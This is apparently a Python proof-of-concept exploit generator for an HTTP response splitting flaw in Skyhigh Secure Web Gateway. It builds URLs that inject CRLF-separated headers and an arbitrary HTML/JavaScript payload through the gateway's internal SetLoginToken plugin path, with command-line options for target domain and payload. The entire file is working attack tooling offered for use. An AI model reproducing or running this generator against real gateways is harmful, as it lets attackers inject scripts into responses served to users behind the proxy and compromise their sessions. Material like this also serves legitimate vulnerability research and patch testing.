#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SWG Exploit Generator
Skyhigh Secure Web Gateway HTTP Response Splitting
by 0PTS
"""
import urllib.parse
import argparse
# Default values
DEFAULT_DOMAIN = "google.com"
DEFAULT_PREFIX = "/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p="
DEFAULT_PAYLOAD = ''
VERSION = "1.0"
BANNER = """
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
"""
def generate(domain=None, prefix=None, payload=None):
"""Generate exploit URL"""
domain = domain or DEFAULT_DOMAIN
prefix = prefix or DEFAULT_PREFIX
payload = payload or DEFAULT_PAYLOAD
# Remove protocol if present
domain = domain.replace("http://", "").replace("https://", "")
# Calculate Content-Length
content_length = len(payload.encode('utf-8'))
# Build HTTP response injection
injection = f"p\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: {content_length}\r\n\r\n{payload}"
# URL encode
encoded = urllib.parse.quote(injection, safe='')
# Final URL
url = f"http://{domain}{prefix}{encoded}"
return url, content_length
def main():
parser = argparse.ArgumentParser(
description=BANNER + '\nSWG Exploit Generator - HTTP Response Splitting PoC\n',
epilog='Example: python explot.py -d example.com -p ""',
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument(
'-d', '--domain',
type=str,
default=DEFAULT_DOMAIN,
help=f'Target domain (default: {DEFAULT_DOMAIN})'
)
parser.add_argument(
'-x', '--prefix',
type=str,
default=DEFAULT_PREFIX,
help='URL prefix path (default: SWG internal path)'
)
parser.add_argument(
'-p', '--payload',
type=str,
default=DEFAULT_PAYLOAD,
help='HTML/JavaScript payload'
)
parser.add_argument(
'-q', '--quiet',
action='store_true',
help='Quiet mode - output only the URL'
)
parser.add_argument(
'-v', '--version',
action='version',
version=f'%(prog)s {VERSION} - by 0PTS'
)
args = parser.parse_args()
# Generate exploit URL
url, length = generate(args.domain, args.prefix, args.payload)
if args.quiet:
# Quiet mode - only URL
print(url)
else:
# Verbose mode with banner and details
print(BANNER)
print(f"[+] Target Domain: {args.domain}")
print(f"[+] Payload Length: {length} bytes")
print(f"[+] URL Length: {len(url)} chars")
print(f"\n[+] Generated URL:\n")
print(url)
print()
if __name__ == "__main__":
main()